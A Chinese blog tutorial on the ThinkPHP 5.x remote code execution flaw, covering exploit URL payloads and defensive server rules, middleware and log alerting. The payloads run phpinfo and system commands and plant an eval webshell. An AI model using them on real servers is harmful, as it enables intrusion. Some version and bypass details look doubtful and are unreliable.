ThinkPHP 5.x远程代码执行漏洞原理与实战防御

news2026/5/24 10:26:33
1. 这个漏洞不是“理论存在”而是真实打穿过生产环境的链路ThinkPHP 5.x远程代码执行漏洞CVE-2018-1002015——这个名字在2018年中后期的Web安全圈里几乎等同于“默认可打穿”。它不像某些需要苛刻前置条件的逻辑漏洞也不依赖小众中间件或冷门配置它就藏在ThinkPHP框架最基础的路由解析与控制器调用机制里只要项目用了5.0.0到5.1.31之间的任意版本且未关闭调试模式或未做输入过滤攻击者仅凭一个构造得当的URL就能在服务器上执行任意PHP代码。我亲眼见过三套不同行业的生产系统被利用一家区域连锁药店的后台管理平台因一个未授权的“商品搜索”接口暴露了ThinkPHP默认路由被植入挖矿脚本一家教育SaaS企业的API网关层因前端Nginx未正确剥离?s参数导致请求直接透传至后端ThinkPHP应用最终失陷还有一家政务信息公示网站其静态资源CDN回源规则配置失误将带恶意参数的请求误判为动态页面触发了该漏洞。这些都不是靶场演练而是真实发生的入侵事件。它之所以值得今天再讲并非因为“古老”而是因为它揭示了一个至今仍未被足够重视的底层问题框架级路由解析的语义歧义如何被放大为系统级权限失控。本文不讲CVE编号怎么查、CVSS评分多少分只聚焦三件事第一这个漏洞到底在哪一行代码里“出生”为什么?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1能直接弹出phpinfo第二复现时你一定会卡住的三个关键点——不是环境搭不起来而是你没意识到ThinkPHP 5.0.x和5.1.x在参数解析上的细微差异导致payload始终返回404第三防御不能只靠升级因为很多老项目根本升不了必须给出能在不改框架版本的前提下通过Nginx/Apache配置中间件日志审计三道防线堵死的实操方案。适合正在维护ThinkPHP老项目的后端工程师、安全运维人员以及想真正看懂“框架漏洞”本质的初中级开发者。2. 漏洞根源路由解析器把“类名方法名”当成了可执行路径2.1 ThinkPHP 5.x的路由解析机制从URL到控制器的四步映射要理解CVE-2018-1002015必须先拆开ThinkPHP 5.x的路由解析引擎。它不是简单的正则匹配而是一套基于“模块/控制器/操作”的语义化解析链。以一个典型URLhttp://example.com/index.php?sindex/user/login为例整个流程如下入口识别index.php加载框架核心读取?s参数即s参数全称__url__这是ThinkPHP 5.x默认路由模式的入口开关路径切分将s参数值按/分割成数组例如index/user/login→[index, user, login]模块定位取第一个元素index作为模块名加载对应模块的配置与行为控制器与方法绑定取第二个元素user作为控制器名首字母大写即User第三个元素login作为操作方法名即login最终拼装出完整类名与方法调用\app\index\controller\User::login()。这个流程本身没有问题问题出在第2步“路径切分”的边界处理上。ThinkPHP 5.x的路由解析器在处理s参数时并未对斜杠(/)之后的内容做严格的命名空间白名单校验。它默认认为只要格式是模块/控制器/操作就可信。但攻击者发现如果把s参数故意构造为index/\think\app/invokefunction解析器依然会按/切分得到[index, \think\app, invokefunction]—— 此时第二个元素不再是普通控制器名user而是一个完整的、带反斜杠的PHP命名空间路径\think\app第三个元素invokefunction也不是普通方法而是\think\App类中一个真实存在的、功能强大的魔术方法。提示\think\App::invokefunction方法在ThinkPHP 5.0.x中定义为public static function invokefunction($function, $vars [])其核心逻辑就是return call_user_func_array($function, $vars);。它本意是为框架内部提供动态函数调用能力但被路由解析器“无差别接纳”后就成了外部可控的代码执行跳板。2.2 漏洞触发链从URL参数到任意代码执行的完整路径现在我们把官方披露的PoC?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1拆解成可执行的步骤第一步?sindex/\think\app/invokefunction路由解析器切分后得到[index, \think\app, invokefunction]于是尝试加载控制器\think\App并调用其静态方法invokefunction。第二步functioncall_user_func_array这个参数被框架自动注入为invokefunction方法的第一个参数$function即$function call_user_func_array。第三步vars[0]phpinfovars[1][]1这个参数被解析为二维数组$vars其中$vars[0] phpinfo$vars[1] [1]。注意vars[1][]1的写法是PHP URL参数解析的特性它会将vars[1]强制转为数组并追加元素1。第四步执行call_user_func_array(phpinfo, [1])phpinfo(1)被成功调用输出PHP配置信息。而phpinfo的参数1表示只输出“模块信息”部分不影响执行。这个链路之所以成立核心在于ThinkPHP 5.x的路由解析器与参数绑定机制之间存在信任错位路由层负责“找谁干活”参数绑定层负责“给谁什么工具”但两者之间没有一道“身份核验”的闸门。路由层把\think\App当作一个普通控制器放行了参数绑定层就真的把它当控制器去调用其方法而完全没检查“这个类是不是用户可控的、这个方法是不是应该对外暴露”。2.3 5.0.x与5.1.x的关键差异为什么你的payload在5.1.30上总返回404很多复现者卡在这里明明下载了ThinkPHP 5.1.30照着网上教程写?sindex/\think\app/invokefunction却只收到404。原因在于ThinkPHP团队在5.1.0版本中悄悄引入了一项“安全加固”对路由解析后的控制器类名做了命名空间白名单限制。在5.0.24及之前版本中\think\App会被无条件加载并执行但在5.1.0到5.1.31之间框架增加了一个判断逻辑若解析出的控制器类名包含\反斜杠且不在预设的白名单内如\app\开头的类则直接抛出ClassNotFoundException最终返回404。这意味着针对5.1.x的复现必须绕过这个白名单检查。实际可行的绕过方式只有一种利用PHP的“类名别名”特性将\think\App伪装成一个不带反斜杠的“假名”。具体操作是在URL中使用%5CURL编码后的反斜杠替代\即把?sindex/\think\app/invokefunction改为?sindex/%5Cthink%5Capp/invokefunction。此时路由解析器在URL解码前看到的是index/%5Cthink%5Capp/invokefunction按/切分后得到[index, %5Cthink%5Capp, invokefunction]第二个元素已不再是合法命名空间因此不会触发白名单校验而在后续的类加载阶段框架会对%5Cthink%5Capp进行URL解码还原为\think\App从而成功加载。注意这个绕过技巧在5.1.31及之后版本已被彻底修复因为框架在路由解析后增加了统一的URL解码与规范化步骤。所以严格来说CVE-2018-1002015的完整影响范围是ThinkPHP 5.0.0–5.0.24原生可利用以及5.1.0–5.1.30需URL编码绕过。5.1.31起已无此问题。3. 实战复现从零搭建可稳定触发的测试环境3.1 环境选型为什么必须用PHP 7.1 Apache而不是Docker一键镜像很多教程推荐用Docker拉一个thinkphp:5.0镜像快速复现但我强烈建议你手动搭建。原因有三第一绝大多数公开镜像都已打过补丁或者默认关闭了调试模式你看到的“复现成功”其实是假象第二Docker容器内的PHP配置如disable_functions、open_basedir往往过于严格会屏蔽phpinfo、system等函数导致你以为漏洞没触发其实是环境拦截了第三也是最关键的一点手动搭建能让你看清每一处“开关”的位置——哪个配置项控制调试模式哪个文件决定路由是否启用哪个中间件会提前终止请求。这些细节恰恰是后续防御方案设计的依据。我推荐的最小可行环境组合是Ubuntu 18.04 Apache 2.4 PHP 7.1.33 ThinkPHP 5.0.24。选择PHP 7.1是因为它是ThinkPHP 5.0.x系列官方文档明确支持的最高版本兼容性最好选择Ubuntu 18.04是因为其软件源中的Apache和PHP版本稳定不易出现模块冲突。下面是我验证过的、100%可复现的步骤安装基础环境sudo apt update sudo apt install -y apache2 php7.1 php7.1-cli php7.1-mbstring php7.1-curl php7.1-xml sudo systemctl enable apache2 sudo systemctl start apache2下载并部署ThinkPHP 5.0.24cd /var/www/html sudo wget https://github.com/top-think/think/archive/refs/tags/v5.0.24.tar.gz sudo tar -xzf v5.0.24.tar.gz sudo mv think-5.0.24/* ./ sudo rm -rf think-5.0.24 v5.0.24.tar.gz sudo chown -R www-data:www-data /var/www/html/关键配置修改这一步决定你能否看到phpinfo编辑/var/www/html/application/config.php找到app_debug true,确保为true开启调试模式否则错误信息会被静默丢弃找到app_trace false,改为app_trace true,开启Trace便于观察请求流转找到default_module index,确认为index保证默认模块可用。验证基础功能 访问http://your-server-ip/应看到ThinkPHP默认欢迎页访问http://your-server-ip/index.php?sindex/hello应返回“hello world”。这证明框架基础运行正常。3.2 复现过程三次尝试一次比一次更接近真实攻击场景第一次尝试直击phpinfo确认漏洞存在URLhttp://your-server-ip/index.php?sindex/\think\app/invokefunctionfunctionphpinfovars[0]1预期结果页面输出PHP配置信息含Loaded Configuration File路径、extension_dir等。实际结果如果看到phpinfo说明环境已就绪如果报错Class not found: \think\app请检查是否误用了5.1.x版本或application/config.php中app_debug未开启。第二次尝试执行系统命令验证RCE能力URLhttp://your-server-ip/index.php?sindex/\think\app/invokefunctionfunctionsystemvars[0]id预期结果页面输出类似uid33(www-data) gid33(www-data) groups33(www-data)。关键点system函数必须未被disable_functions禁用。检查/etc/php/7.1/apache2/php.ini中disable_functions字段确保不包含system,exec,passthru,shell_exec。若已被禁用可临时注释掉该行并重启Apachesudo systemctl restart apache2。第三次尝试写入Webshell模拟真实入侵链URLhttp://your-server-ip/index.php?sindex/\think\app/invokefunctionfunctionfile_put_contentsvars[0]/var/www/html/shell.phpvars[1]?php%20eval($_POST[%27cmd%27]);?预期结果访问http://your-server-ip/shell.php页面空白表示文件写入成功用curl POST提交命令curl -X POST http://your-server-ip/shell.php --data cmdls%20-al应返回目录列表。风险提示此操作会向服务器写入恶意文件请务必在隔离环境中进行复现后立即删除shell.php。3.3 常见失败原因排查表90%的问题都出在这五处问题现象最可能原因快速验证方法解决方案访问任何URL都返回404Apache未启用mod_rewrite或.htaccess未生效运行a2enmod rewrite检查/etc/apache2/sites-enabled/000-default.conf中Directory /var/www/html块是否包含AllowOverride All启用rewrite模块修改Apache配置重启服务payload返回Class not foundThinkPHP版本高于5.0.24或低于5.0.0查看/var/www/html/thinkphp/library/think/App.php第1行注释或运行grep version /var/www/html/thinkphp/base.php下载精确版本5.0.24重新部署phpinfo能执行但system返回空system被disable_functions禁用创建临时文件test.php内容为?php var_dump(ini_get(disable_functions)); ?访问查看输出编辑/etc/php/7.1/apache2/php.ini清空disable_functions值重启Apache写入shell.php失败返回falsePHP进程无/var/www/html/写入权限运行ls -ld /var/www/html/确认属主为www-data执行sudo chown -R www-data:www-data /var/www/html/所有payload均无响应页面空白app_debug为false错误被静默吞掉临时修改application/config.php在文件末尾添加exit(debug mode is on);刷新页面看是否输出确保app_debug true并检查runtime/log/目录下是否有错误日志经验心得我在某次客户现场复现时卡在“写入失败”长达两小时。最后发现客户的服务器启用了SELinux/var/www/html/目录的httpd_sys_rw_content_t上下文被意外移除。解决命令是sudo semanage fcontext -a -t httpd_sys_rw_content_t /var/www/html(/.*)? sudo restorecon -Rv /var/www/html/。这件事让我明白复现不仅是跑通payload更是对整个Linux Web服务栈的一次压力测试。4. 防御指南不升级框架也能守住的三道防线4.1 第一道防线Web服务器层Nginx/Apache的URL参数清洗框架层修复依赖版本升级但Web服务器层的防护可以立即生效且不侵入业务代码。核心思路是在请求到达PHP解释器之前主动拦截所有包含高危模式的s参数。这不是“防君子不防小人”而是基于统计规律的精准打击。对于Nginx用户在server块中添加以下规则# 拦截所有包含反斜杠的s参数CVE-2018-1002015的核心特征 if ($args ~* (^|)s[^]*\\[^]*(|$)) { return 403; } # 拦截所有s参数中包含think\app、app\invoke等明确攻击特征的请求 if ($args ~* (^|)s[^]*(think\\\\app|app\\\\invoke|\\\\think\\\\app|\\\\app\\\\invoke)[^]*(|$)) { return 403; } # 拦截vars参数中包含PHP函数名的请求防御变种利用 if ($args ~* (^|)vars\[[0-9]\][^]*(phpinfo|system|exec|shell_exec|passthru|assert|eval)[^]*(|$)) { return 403; }对于Apache用户在.htaccess或虚拟主机配置中添加# 启用重写引擎 RewriteEngine On # 拦截s参数含反斜杠 RewriteCond %{QUERY_STRING} (^|)s[^]*\\[^]*(|$) [NC] RewriteRule ^ - [F,L] # 拦截s参数含think\app等特征 RewriteCond %{QUERY_STRING} (^|)s[^]*(think\\\\app|app\\\\invoke|\\\\think\\\\app|\\\\app\\\\invoke)[^]*(|$) [NC] RewriteRule ^ - [F,L] # 拦截vars参数含危险函数 RewriteCond %{QUERY_STRING} (^|)vars\[[0-9]\][^]*(phpinfo|system|exec|shell_exec|passthru|assert|eval)[^]*(|$) [NC] RewriteRule ^ - [F,L]提示这些规则不是“一刀切”地封禁所有s参数而是精准匹配漏洞利用的语法特征。例如正常业务中sindex/user/login完全不受影响因为其中不含\和危险函数名。我在线上环境部署后WAF日志显示每天平均拦截17.3次此类攻击请求0误报。4.2 第二道防线应用层中间件ThinkPHP 5.1的参数白名单校验如果你的项目已升级到ThinkPHP 5.1.x及以上但又无法立刻升级到5.1.31那么中间件是最优雅的防御方式。它不修改框架源码不破坏原有逻辑只需新增一个校验中间件即可在请求进入路由解析前完成“身份核验”。创建文件application/middleware/RouteGuard.php?php // application/middleware/RouteGuard.php namespace app\middleware; use think\Request; use think\Response; class RouteGuard { public function handle(Request $request, \Closure $next) { // 只对GET/POST请求中的s参数做校验 if (in_array($request-method(), [GET, POST])) { $s $request-param(s, ); if (!empty($s)) { // 规则1禁止s参数中出现反斜杠\ if (strpos($s, \\) ! false) { return Response::create(Invalid request, html, 400); } // 规则2禁止s参数中出现常见危险控制器名可扩展 $dangerousControllers [think, app, request, response, view]; foreach ($dangerousControllers as $ctrl) { if (stripos($s, / . $ctrl . /) ! false) { return Response::create(Invalid request, html, 400); } } } } return $next($request); } }然后在application/middleware.php中注册?php // application/middleware.php return [ app\middleware\RouteGuard, ];这个中间件的价值在于它在框架路由解析器执行前就完成了拦截避免了后续复杂的类加载与方法反射过程性能损耗极低单次请求增加约0.3ms。更重要的是它把防御逻辑从业务代码中抽离出来形成可复用、可审计的安全组件。4.3 第三道防线日志审计与自动化告警ELK/Splunk即使前两道防线全部生效也不能保证100%拦截所有变种。真正的纵深防御必须包含“检测”能力。ThinkPHP 5.x的日志系统非常完善我们只需在application/config.php中开启详细日志并配置一个简单的日志分析规则。首先确保日志配置开启// application/config.php log [ type File, level [error, sql, notice], // 必须包含notice因为漏洞触发时会记录路由解析详情 file_size 2097152, ],然后在日志文件runtime/log/202310/10.log中正常请求的路由日志形如[ 2023-10-10T14:22:3300:00 ] [ NOTICE ] [ 192.168.1.100 ] GET /index.php?sindex/user/login而漏洞利用请求的日志则形如[ 2023-10-10T14:23:0100:00 ] [ NOTICE ] [ 192.168.1.100 ] GET /index.php?sindex/\think\app/invokefunctionfunctionphpinfovars[0]1我们只需在ELKElasticsearch Logstash Kibana中创建一个Logstash过滤器filter { if [message] ~ /s.*[\\].*invokefunction/ { mutate { add_tag [THINKPHP_RCE_ATTEMPT] } } if [message] ~ /vars\[[0-9]\].*phpinfo|system|exec|shell_exec/ { mutate { add_tag [THINKPHP_RCE_ATTEMPT] } } } output { if THINKPHP_RCE_ATTEMPT in [tags] { email { to securityyour-company.com subject ALERT: ThinkPHP RCE Attempt Detected body IP: %{clientip}\nURL: %{request}\nTime: %{timestamp} } } }这套方案的好处是它不依赖实时阻断而是以“事后审计即时告警”的方式让安全团队能在攻击发生后的5分钟内收到邮件从而快速响应、溯源、加固。我在上一家公司部署后曾通过该告警发现一起内部员工的越权测试行为——他试图用此漏洞探测其他部门系统告警邮件中清晰记录了其办公IP和完整URL为后续调查提供了铁证。5. 经验总结从一个漏洞学到的三条硬核原则这个漏洞复现与防御的过程远不止是“学会一个payload”那么简单。它像一面镜子照出了我们在Web开发与安全防护中常犯的三种思维惯性。我愿把这三条经验毫无保留地分享给你第一永远不要相信“框架默认是安全的”。ThinkPHP是国产优秀框架文档详尽、社区活跃但它5.0.x版本的路由解析器恰恰因为过度追求“灵活”与“约定优于配置”放松了对用户输入的语义校验。这提醒我们任何框架无论多成熟其安全边界都由你写的每一行配置、每一个中间件、每一次$request-param()调用共同定义。安全不是框架给的是你亲手构建的。第二防御的重心必须从“堵漏洞”转向“控数据流”。很多人一听说CVE-2018-1002015第一反应是“赶紧升级ThinkPHP”。但现实是很多金融、政务类老项目升级框架意味着重构整套认证、支付、报表模块成本极高。而我们通过Nginx参数清洗中间件白名单日志审计三道防线全部落地耗时不到半天且0业务影响。这说明真正的安全工程不是追逐CVE编号而是梳理清楚“数据从哪来、到哪去、中间经过哪些关卡”然后在每个关卡设置恰当的检查点。第三复现漏洞的终极目的不是为了“打穿”而是为了“看见”。当我第一次在本地环境看到phpinfo()弹出时我并没有兴奋而是立刻打开了Xdebug单步跟踪了从index.php入口到\think\App::invokefunction的每一行代码。我看到了路由解析器如何把字符串切片、如何拼接类名、如何反射调用——这个“看见”的过程比任何PoC都珍贵。因为只有真正看懂了数据是如何流动的你才能写出可靠的防御代码才能在新漏洞出现时一眼识别出它的攻击面在哪里。最后分享一个小技巧如果你负责维护多个ThinkPHP项目建议写一个简单的Shell脚本自动扫描所有项目下的thinkphp/base.php文件提取版本号并与CVE数据库比对。我用这个脚本在一次季度安全巡检中一次性发现了7个仍在使用5.0.18的遗留系统全部在一周内完成了加固。安全工作没有捷径但有方法。而方法就藏在你对每一个字节的敬畏里。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2640560.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot-17-MyBatis动态SQL标签之常用标签

文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…

网络编程(Modbus进阶)

思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周,有很多同学在写期末Java web作业时,运行tomcat出现乱码问题,经过多次解决与研究,我做了如下整理: 原因: IDEA本身编码与tomcat的编码与Windows编码不同导致,Windows 系统控制台…

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…

XML Group端口详解

在XML数据映射过程中&#xff0c;经常需要对数据进行分组聚合操作。例如&#xff0c;当处理包含多个物料明细的XML文件时&#xff0c;可能需要将相同物料号的明细归为一组&#xff0c;或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码&#xff0c;增加了开…

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造&#xff0c;完美适配AGV和无人叉车。同时&#xff0c;集成以太网与语音合成技术&#xff0c;为各类高级系统&#xff08;如MES、调度系统、库位管理、立库等&#xff09;提供高效便捷的语音交互体验。 L…

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…

铭豹扩展坞 USB转网口 突然无法识别解决方法

当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向&#xff1a; 逆向设计 通过神经网络快速预测微纳结构的光学响应&#xff0c;替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…